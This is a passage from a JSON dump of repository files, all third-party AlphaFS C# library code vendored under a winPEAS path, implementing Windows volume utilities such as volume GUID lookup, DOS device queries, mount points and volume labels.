NativeMethods.GetVolumeNameForVolumeMountPoint(volumeMountPoint, volumeGuid, (uint)volumeGuid.Capacity)\n\n                  // The string must end with a trailing backslash.\n                  ? NativeMethods.GetVolumeNameForVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeGuid.ToString(), false), uniqueName, (uint)uniqueName.Capacity)\n                     ? uniqueName.ToString()\n                     : null\n\n                  : null;\n            }\n         }\n         finally\n         {\n            var lastError = (uint) Marshal.GetLastWin32Error();\n\n            switch (lastError)\n            {\n               case Win32Errors.ERROR_MORE_DATA:\n                  // (1) When GetVolumeNameForVolumeMountPoint() succeeds, lastError is set to Win32Errors.ERROR_MORE_DATA.\n                  break;\n\n               default:\n                  // (2) When volumeMountPoint is a network drive mapping or UNC path, lastError is set to Win32Errors.ERROR_INVALID_PARAMETER.\n\n                  // Throw IOException.\n                  NativeError.ThrowException(lastError, volumeMountPoint);\n                  break;\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuidForNtDeviceName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Linq;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] \n      ///   Tranlates DosDevicePath to a Volume GUID. For example: \"\\Device\\HarddiskVolumeX\\path\\filename.ext\" can translate to: \"\\path\\\n      ///   filename.ext\" or: \"\\\\?\\Volume{GUID}\\path\\filename.ext\".\n      /// </summary>\n      /// <param name=\"dosDevice\">A DosDevicePath, for example: \\Device\\HarddiskVolumeX\\path\\filename.ext.</param>\n      /// <returns>A translated dos path.</returns>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Nt\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Nt\")]\n      public static string GetVolumeGuidForNtDeviceName(string dosDevice)\n      {\n         return (from drive in Directory.EnumerateLogicalDrivesCore(false, false)\n\n            where drive.DosDeviceName.Equals(dosDevice, StringComparison.OrdinalIgnoreCase)\n\n            select drive.VolumeInfo.Guid).FirstOrDefault();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>\n      /// <param name=\"volumePath\">A path that contains the root directory.</param>\n      /// <returns>A <see cref=\"VolumeInfo\"/> instance describing the volume associatied with the specified root directory.</returns>\n      [SecurityCritical]\n      public static VolumeInfo GetVolumeInfo(string volumePath)\n      {\n         return new VolumeInfo(volumePath, true, false);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves information about the file system and volume associated with the specified root file or directorystream.</summary>\n      /// <param name=\"volumeHandle\">An instance to a <see cref=\"SafeFileHandle\"/> handle.</param>\n      /// <returns>A <see cref=\"VolumeInfo\"/> instance describing the volume associatied with the specified root directory.</returns>\n      [SecurityCritical]\n      public static VolumeInfo GetVolumeInfo(SafeFileHandle volumeHandle)\n      {\n         return new VolumeInfo(volumeHandle, true, true);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumePathName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Retrieves the volume mount point where the specified path is mounted.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to the volume, for example: \"C:\\Windows\".</param>\n      /// <returns>\n      ///   <para>Returns the nearest volume root path for a given directory.</para>\n      ///   <para>The volume path name, for example: \"C:\\Windows\" returns: \"C:\\\".</para>\n      /// </returns>\n      [SecurityCritical]\n      public static string GetVolumePathName(string path)\n      {\n         if (Utils.IsNullOrWhiteSpace(path))\n            throw new ArgumentNullException(\"path\");\n\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            var volumeRootPath = new StringBuilder(NativeMethods.MaxPathUnicode / 32);\n            var pathLp = Path.GetFullPathCore(null, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck);\n\n\n            // GetVolumePathName()\n            // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n            var success = NativeMethods.GetVolumePathName(pathLp, volumeRootPath, (uint) volumeRootPath.Capacity);\n\n            var lastError = Marshal.GetLastWin32Error();\n\n            if (success)\n               return Path.GetRegularPathCore(volumeRootPath.ToString(), GetFullPathOptions.None, false);\n\n\n            switch ((uint) lastError)\n            {\n               // Don't throw exception on these errors.\n               case Win32Errors.ERROR_NO_MORE_FILES:\n               case Win32Errors.ERROR_INVALID_PARAMETER:\n               case Win32Errors.ERROR_INVALID_NAME:\n                  break;\n\n               default:\n                  NativeError.ThrowException(lastError, path);\n                  break;\n            }\n\n\n            // Return original path.\n            return path;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsReady.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Gets a value indicating whether a drive is ready.</summary>\n      /// <param name=\"drivePath\">\n      ///   A path to a drive. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\".\n      /// </param>\n      /// <returns><c>true</c> if <paramref name=\"drivePath\"/> is ready; otherwise, <c>false</c>.</returns>\n      [SecurityCritical]\n      public static bool IsReady(string drivePath)\n      {\n         return File.ExistsCore(null, true, drivePath, PathFormat.FullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsSameVolume.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Determines whether the volume of two file system objects is the same, by comparing their serial numbers.</summary>\n      /// <param name=\"path1\">The first filesystem object with full path information.</param>\n      /// <param name=\"path2\">The second file system object with full path information.</param>\n      /// <returns><c>true</c> if both filesytem objects reside on the same volume, <c>false</c> otherwise.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      public static bool IsSameVolume(string path1, string path2)\n      {\n         try\n         {\n            var volInfo1 = new VolumeInfo(GetVolumePathName(path1), true, true);\n            var volInfo2 = new VolumeInfo(GetVolumePathName(path2), true, true);\n\n            return volInfo1.SerialNumber.Equals(volInfo2.SerialNumber) || volInfo1.Guid.Equals(volInfo2.Guid, StringComparison.OrdinalIgnoreCase);\n         }\n         catch { }\n\n         return false;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.IsVolume.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Determines whether the specified volume name is a defined volume on the current computer.</summary>\n      /// <param name=\"volumeMountPoint\">\n      ///   A path to a volume. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\".\n      /// </param>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      [SecurityCritical]\n      public static bool IsVolume(string volumeMountPoint)\n      {\n         return !Utils.IsNullOrWhiteSpace(GetVolumeGuid(volumeMountPoint));\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.QueryDosDevice.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Retrieves a sorted list of all existing MS-DOS device names.</summary>\n      /// <returns>An <see cref=\"IEnumerable{String}\"/> sorted list of all existing MS-DOS device names.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> QueryAllDosDevices()\n      {\n         return QueryDosDeviceCore(null, true);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the current mapping for a particular MS-DOS device name.</summary>\n      /// <returns>The current mapping for a particular MS-DOS device name.</returns>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <param name=\"deviceName\">An MS-DOS device name string specifying the target of the query, such as: \"C:\", \"D:\" or \"\\\\?\\Volume{GUID}\".</param>\n      [SecurityCritical]\n      public static string QueryDosDevice(string deviceName)\n      {\n         if (Utils.IsNullOrWhiteSpace(deviceName))\n            throw new ArgumentNullException(\"deviceName\");\n\n\n         var devName = QueryDosDeviceCore(deviceName, false).ToArray()[0];\n\n         return !Utils.IsNullOrWhiteSpace(devName) ? devName : null;\n      }\n\n\n\n\n      /// <summary>[AlphaFS] Retrieves the current mapping for a particular MS-DOS device name. The function can also obtain a list of all existing MS-DOS device names.</summary>\n      /// <returns>An <see cref=\"IEnumerable{String}\"/> sorted list of all existing MS-DOS device names or the .</returns>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <param name=\"deviceName\">An MS-DOS device name string specifying the target of the query, such as: \"C:\", \"D:\" or \"\\\\?\\Volume{GUID}\".</param>\n      /// <param name=\"sort\"><c>true</c> to sort the list with MS-DOS device names.</param>\n      [SecurityCritical]\n      internal static IEnumerable<string> QueryDosDeviceCore(string deviceName, bool sort)\n      {\n         // deviceName is allowed to be null: Retrieve a list of all existing MS-DOS device names.\n         // The deviceName cannot have a trailing backslash.\n\n         if (!Utils.IsNullOrWhiteSpace(deviceName))\n         {\n            if (deviceName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))\n            {\n               yield return deviceName.Substring(Path.GlobalRootPrefix.Length);\n\n               yield break;\n            }\n\n            \n            if (deviceName.StartsWith(Path.VolumePrefix, StringComparison.OrdinalIgnoreCase))\n\n               deviceName = deviceName.Substring(Path.LongPathPrefix.Length);\n\n\n            deviceName = Path.RemoveTrailingDirectorySeparator(deviceName);\n         }\n\n\n\n\n         uint returnedBufferSize = 0;\n\n         var bufferSize = (uint) (sort ? NativeMethods.DefaultFileBufferSize : 64);\n\n         var sortedList = new List<string>(sort ? 256 : 0);\n\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n            while (returnedBufferSize == 0)\n            {\n               var cBuffer = new char[bufferSize];\n\n               returnedBufferSize = NativeMethods.QueryDosDevice(deviceName, cBuffer, bufferSize);\n\n               var lastError = Marshal.GetLastWin32Error();\n\n               if (returnedBufferSize == 0)\n                  switch ((uint) lastError)\n                  {\n                     case Win32Errors.ERROR_MORE_DATA:\n                     case Win32Errors.ERROR_INSUFFICIENT_BUFFER:\n                        bufferSize *= 2;\n                        continue;\n\n                     default:\n                        NativeError.ThrowException(lastError, deviceName);\n                        break;\n                  }\n\n\n               var buffer = new StringBuilder((int) returnedBufferSize);\n\n\n               for (var i = 0; i < returnedBufferSize; i++)\n               {\n                  if (cBuffer[i] != Path.StringTerminatorChar)\n\n                     buffer.Append(cBuffer[i]);\n\n\n                  else if (buffer.Length > 0)\n                  {\n                     var assembledPath = buffer.ToString();\n\n                     assembledPath = !Utils.IsNullOrWhiteSpace(assembledPath) ? assembledPath : null;\n\n\n                     if (sort)\n                        sortedList.Add(assembledPath);\n\n                     else\n                        yield return assembledPath;\n\n\n                     buffer.Length = 0;\n                  }\n               }\n            }\n\n\n         if (sort)\n         {\n            foreach (var devName in sortedList.OrderBy(devName => devName))\n\n               yield return devName;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.SetVolumeMountPoint.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Associates a volume with a Drive letter or a directory on another volume.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"volumeMountPoint\">\n      ///   The user-mode path to be associated with the volume. This may be a Drive letter (for example, \"X:\\\")\n      ///   or a directory on another volume (for example, \"Y:\\MountX\\\").\n      /// </param>\n      /// <param name=\"volumeGuid\">A <see cref=\"string\"/> containing the volume <see cref=\"Guid\"/>.</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"1\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public static void SetVolumeMountPoint(string volumeMountPoint, string volumeGuid)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumeMountPoint))\n            throw new ArgumentNullException(\"volumeMountPoint\");\n\n         if (Utils.IsNullOrWhiteSpace(volumeGuid))\n            throw new ArgumentNullException(\"volumeGuid\");\n\n         if (!volumeGuid.StartsWith(Path.VolumePrefix + \"{\", StringComparison.OrdinalIgnoreCase))\n            throw new ArgumentException(Resources.Not_A_Valid_Guid, \"volumeGuid\");\n\n\n         volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n\n         // This string must be of the form \"\\\\?\\Volume{GUID}\\\"\n         volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false);\n\n\n         // ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            // SetVolumeMountPoint()\n            // 2014-01-29: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n            // The string must end with a trailing backslash.\n            var success = NativeMethods.SetVolumeMountPoint(volumeMountPoint, volumeGuid);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n            {\n               // If the lpszVolumeMountPoint parameter contains a path to a mounted folder,\n               // GetLastError returns ERROR_DIR_NOT_EMPTY, even if the directory is empty.\n\n               if (lastError != Win32Errors.ERROR_DIR_NOT_EMPTY)\n                  NativeError.ThrowException(lastError, volumeGuid);\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.VolumeLabel.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Deletes the label of the file system volume that is the root of the current directory.</summary>\n      [SecurityCritical]\n      public static void DeleteCurrentVolumeLabel()\n      {\n         SetVolumeLabel(null, null);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes the label of a file system volume.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"rootPathName\">The root directory of a file system volume. This is the volume the function will remove the label.</param>\n      [SecurityCritical]\n      public static void DeleteVolumeLabel(string rootPathName)\n      {\n         if (Utils.IsNullOrWhiteSpace(rootPathName))\n            throw new ArgumentNullException(\"rootPathName\");\n\n\n         SetVolumeLabel(rootPathName, null);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieve the label of a file system volume.</summary>\n      /// <param name=\"volumePath\">\n      ///   A path to a volume. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\".\n      /// </param>\n      /// <returns>The the label of the file system volume. This function can return <c>string.Empty</c> since a volume label is generally not mandatory.</returns>\n      [SecurityCritical]\n      public static string GetVolumeLabel(string volumePath)\n      {\n         return new VolumeInfo(volumePath, true, true).Name;\n      }\n\n\n      /// <summary>[AlphaFS] Sets the label of the file system volume that is the root of the current directory.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"volumeName\">A name for the volume.</param>\n      [SecurityCritical]\n      public static void SetCurrentVolumeLabel(string volumeName)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumeName))\n            throw new ArgumentNullException(\"volumeName\");\n\n\n         var success = NativeMethods.SetVolumeLabel(null, volumeName);\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError, volumeName);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the label of a file system volume.</summary>\n      /// <param name=\"volumePath\">\n      ///   <para>A path to a volume. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\"</para>\n      ///   <para>If this parameter is <c>null</c>, the function uses the current drive.</para>\n      /// </param>\n      /// <param name=\"volumeName\">\n      ///   <para>A name for the volume.</para>\n      ///   <para>If this parameter is <c>null</c>, the function deletes any existing label</para>\n      ///   <para>from the specified volume and does not assign a new label.</para>\n      /// </param>\n      [SecurityCritical]\n      public static void SetVolumeLabel(string volumePath, string volumeName)\n      {\n         // rootPathName == null is allowed, means current drive.\n\n         // Setting volume label only applies to Logical Drives pointing to local resources.\n         //if (!Path.IsLocalPath(rootPathName))\n         //return false;\n\n         volumePath = Path.AddTrailingDirectorySeparator(volumePath, false);\n\n         // NTFS uses a limit of 32 characters for the volume label as of Windows Server 2003.\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            var success = NativeMethods.SetVolumeLabel(volumePath, volumeName);\n\n            var lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError, volumePath, volumeName);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.cs",
